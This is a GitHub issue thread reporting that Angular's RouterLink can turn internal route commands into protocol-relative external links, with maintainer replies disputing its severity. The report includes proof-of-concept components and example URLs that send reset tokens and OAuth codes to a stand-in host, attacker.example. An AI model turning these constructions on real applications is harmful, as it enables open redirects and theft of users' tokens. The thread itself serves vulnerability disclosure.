Sitelet https://github.com/angular/angular/issues/69700
Skip to content

RouterLink can serialize internal route commands into protocol-relative external hrefs #69700

Closed

Description

@SkyZeroZx

Which @angular/* package(s) are the source of the bug?

router

Is this a regression?

No

Description

RouterLink is documented as a directive that creates links for Angular route navigation. The input is treated as commands passed to Router#createUrlTree, or as a UrlTree.

However , RouterLink can serialize some internal Angular route command forms into an href that starts with //.

Browsers treat //attacker.example/path as a scheme-relative external URL. On an HTTPS app, that becomes:

https://attacker.example/path

So an application can use RouterLink expecting internal Angular navigation, but Angular writes an attacker-controlled external URL into the DOM.

The issue appears when the internal route command creates an empty leading primary segment after the app root.

Attacker redirect cases

Validated cases that generate an external attacker-controlled href:

Case RouterLink command Attacker-controlled input Generated href
1 ['/', '', host, path] host = 'attacker.example', path = 'collect' //attacker.example/collect?...
2 ['/', ...next.split('/')] next = '/attacker.example/collect' //attacker.example/collect?...
3 [{ outlets: { primary: next } }] next = '/attacker.example/collect' //attacker.example/collect?...
4 [{ outlets: { primary: ['', host, path] } }] host = 'attacker.example', path = 'collect' //attacker.example/collect?...

On an HTTPS application, all of these browser-resolve to:

https://attacker.example/collect?...

The impact becomes security-relevant when the app also uses:

queryParamsHandling="preserve"

or:

queryParamsHandling="merge"

In those modes, Angular can copy the current URL query parameters into the generated external link.

Example trusted URL:

https://victim.example/reset?token=RESET_TOKEN&code=OAUTH_CODE&next=/attacker.example/collect

Generated RouterLink href:

<a
  href="//attacker.example/collect?token=RESET_TOKEN&code=OAUTH_CODE&next=..."
></a>

Browser destination:

https://attacker.example/collect?token=RESET_TOKEN&code=OAUTH_CODE&next=...

This can leak values such as password reset tokens, magic-login tokens, invite tokens, OAuth authorization codes, OAuth state values, or email verification tokens.

Minimal reproduction

import { Component, inject } from "@angular/core";
import { ActivatedRoute, RouterLink } from "@angular/router";

@Component({
  selector: "app-home",
  imports: [RouterLink],
  template: `
    <a
      id="case-1"
      target="_blank"
      [routerLink]="noSplitCommands"
      queryParamsHandling="preserve"
    >
      Case 1
    </a>

    <a
      id="case-2"
      target="_blank"
      [routerLink]="splitCommands"
      queryParamsHandling="preserve"
    >
      Case 2
    </a>

    <a
      id="case-3"
      target="_blank"
      [routerLink]="primaryOutletCommands"
      queryParamsHandling="preserve"
    >
      Case 3
    </a>

    <a
      id="case-4"
      target="_blank"
      [routerLink]="primaryOutletArrayCommands"
      queryParamsHandling="preserve"
    >
      Case 4
    </a>
  `,
})
export class Home {
  private readonly route = inject(ActivatedRoute);

  readonly host =
    this.route.snapshot.queryParamMap.get("host") ?? "attacker.example";

  readonly path = this.route.snapshot.queryParamMap.get("path") ?? "collect";

  readonly next =
    this.route.snapshot.queryParamMap.get("next") ??
    `/${this.host}/${this.path}`;

  readonly noSplitCommands = ["/", "", this.host, this.path];

  readonly splitCommands = ["/", ...this.next.split("/")];

  readonly primaryOutletCommands = [{ outlets: { primary: this.next } }];

  readonly primaryOutletArrayCommands = [
    { outlets: { primary: ["", this.host, this.path] } },
  ];
}

Additional

A normal left-click without target may be intercepted by Angular. However, the external href already exists in the DOM and can still be followed by native anchor navigation paths such as:

target="_blank", "_top", "_parent", or named target
middle-click
Ctrl/Cmd-click
context menu -> open link in new tab/window
SSR / pre-hydration link following
no-JavaScript clients
crawlers, preview bots, or link scanners
child click handlers that call stopPropagation() without preventDefault()

Please provide a link to a minimal reproduction of the bug

This was previously reported at https://issuetracker.google.com/u/1/issues/531036578, however it is not considered a problem, I believe it should be reconsidered

Activity

  1. added this to the needsTriage milestone on Jul 9, 2026
  2. added this to the needsTriage milestone on Jul 9, 2026
  3. hawkgs commented on Jul 9, 2026

    @hawkgs
    Member

    The obvious solution to this is to sanitize the paths, possibly excluding the dots, but those dots can be legitimate in other use cases.

    To me this seems more like a developer's responsibility – not allowing non-sanitized user-entered data into your router links. Besides, won't these types of URLs be a vulnerability only in SSR when the page hasn't been hydrated yet (so, a brief moment), since the routes should be resolved internally by the router?

  4. added
    securityIssues that generally impact framework or application security
    and removed on Jul 9, 2026
  5. SkyZeroZx commented on Jul 9, 2026

    @SkyZeroZx
    ContributorAuthor

    To me this seems more like a developer's responsibility – not allowing non-sanitized user-entered data into your router links.

    Partly, but they are part of the total of the scenarios described, for example in:

    readonly primaryOutletCommands = [{ outlets: { primary: this.next } }];

    Which is case 3 of the example presented, this wouldn't apply, therefore I wouldn't say that this should be the developer's responsibility.

    On the other hand, or at least from my personal perspective, it would seem strange to me, compared to Angular's sanitization model which is safe by default, to have to sanitize something that should be safe without any additional effort.

    Besides, won't these types of URLs be a vulnerability only in SSR when the page hasn't been hydrated yet (so, a brief moment), since the routes should be resolved internally by the router?

    There are other cases where, regardless of whether the router intercepts it, we would still end up browsing; the following are examples.

    <!-- using child click handlers that call stopPropagation() without preventDefault() -->
    <a [routerLink]="primaryOutletCommands" >
      <span (click)="trackInnerClick($event)">Continue</span>
    </a>
    
    Or
    
    <!--target="_blank", "_top", "_parent", or named target -->
    <a [routerLink]="primaryOutletCommands"  target="_blank">
         Go to
    </a>

    Or even simpler, opening in a new tab or clicking in the middle (which I personally tend to use as a user) would take you to the attacker's domain.

  6. SkyZeroZx commented on Jul 9, 2026

    @SkyZeroZx
    ContributorAuthor

    On the other hand , the behavior seems somewhat inconsistent

    The following cases do not mutate the href like the ones mentioned above that redirect to an attacker domain

    @Component({
      selector: "app-root",
      imports: [RouterLink],
      template: `
        <h3>RouterLink negative cases</h3>
        @for (c of cases; track c.id) {
          <p>
            <a
              [id]="c.id"
              target="_blank"
              [routerLink]="c.link"
             >
              {{ c.id }}
            </a>
          </p>
        }
      `,
    })
    export class App {
      cases = [
        { id: "string-double-slash", link: "//attacker.example/collect" },
        { id: "array-double-slash", link: ["//attacker.example/collect"] },
        { id: "string-root-path", link: "/attacker.example/collect" },
        { id: "array-no-empty", link: ["/", "attacker.example", "collect"] },
        { id: "array-relative", link: ["attacker.example", "collect"] },
        {
          id: "primary-no-slash",
          link: [{ outlets: { primary: "attacker.example/collect" } }],
        },
        {
          id: "primary-array-no-empty",
          link: [{ outlets: { primary: ["attacker.example", "collect"] } }],
        },
        {
          id: "segment-path-slash",
          link: [{ segmentPath: "/attacker.example/collect" }],
        },
        {
          id: "segment-path-double-slash",
          link: [{ segmentPath: "//attacker.example/collect" }],
        },
        { id: "absolute-url", link: "https://attacker.example/collect" },  ];
    }
  7. added a commit that references this issue on Jul 21, 2026
    e559339
  8. removed
    securityIssues that generally impact framework or application security
    on Jul 21, 2026
  9. added 2 commits that reference this issue on Jul 22, 2026
    2ebb61a
    cb1d70b
  10. SkyZeroZx commented on Jul 26, 2026

    @SkyZeroZx
    ContributorAuthor

    Additional Experimental Platform Navigation Variant

    Angular also exposes the withExperimentalPlatformNavigation() feature. When enabled, the router uses the browser Navigation API instead of the History API, so the default pushState SecurityError no longer occurs. As a result, the generated protocol-relative external URL can be followed, bypassing the default no-target click limitation.

    Additionally, if we have an example like the following, it can be called directly through router.navigate without any problem.

    @Component({ selector: "poc", template: "Redirecting..." })
    class Poc implements OnInit {
      private readonly router = inject(Router);
      private readonly route = inject(ActivatedRoute);
    
      ngOnInit(): void {
        void this.router.navigate(
          [
            {
              outlets: {
                primary:
                  this.route.snapshot.queryParamMap.get("next") ?? "//angular.dev",
              },
            },
          ],
          { queryParamsHandling: "preserve" },
        );
      }
    }
    
    @Component({
      selector: "app-root",
      imports: [RouterOutlet],
      template: "<router-outlet />",
    })
    class App {}
    
    const routes: Routes = [{ path: "**", component: Poc }];
    
    bootstrapApplication(App, {
      providers: [provideRouter(routes, withExperimentalPlatformNavigation())],
    }).catch(console.error);

    Open in browser

    http://localhost:4200/?token=RESET_TOKEN&code=OAUTH_CODE&next=//angular.dev
    

    And if we open this URL, it will take us directly to Angular dev
    Note : this doesn't happen with the History API; the browser blocks it by default

    Image
  11. atscott commented on Aug 10, 2026

    @atscott
    Contributor

    IMO, this is not a reasonably plausible security issue. Minimally, this issue is predicated on the assumption that

    (a) The app allows unrestricted, user-defined link constructions of the first primary segment on the web page (exceedingly unlikely - allowing users to control whether a link goes to /home, /login, /does-not-exist, /pizza, /banana doesn't seem like a reasonable product decision)
    (b) The app allows these unrestricted, user-defined links to appear in other site visitor's web pages (also exceedingly unlikely. The argument that you can edit the &next parameter would only affect your own page visit unless you can inject URL params into another user's URL, which in itself would be its own security problem)

  12. 5 remaining items

  13. added a commit that references this issue on Aug 11, 2026
    2f82601
  14. added a commit that references this issue on Aug 11, 2026
    435f8b2
  15. added 2 commits that reference this issue on Aug 18, 2026
    4f18e02
    4ca14f3
  16. added a commit that references this issue on Sep 28, 2026
    41d6a8b
  17. added 4 commits that reference this issue on Sep 28, 2026
    a6e6097
    aa3c990
    e8098db
    f10507e
  18. added 2 commits that reference this issue on Oct 2, 2026
    a1bffc2
    576df28
  19. angular-automatic-lock-bot commented on Oct 29, 2026

    @angular-automatic-lock-bot

    This issue has been automatically locked due to inactivity.
    Please file a new issue if you are encountering a similar or related problem.

    Read more about our automatic conversation locking policy.

    This action has been performed automatically by a bot.

  20. locked and limited conversation to collaborators on Oct 29, 2026
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Type

    No type

    Projects

    No projects

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions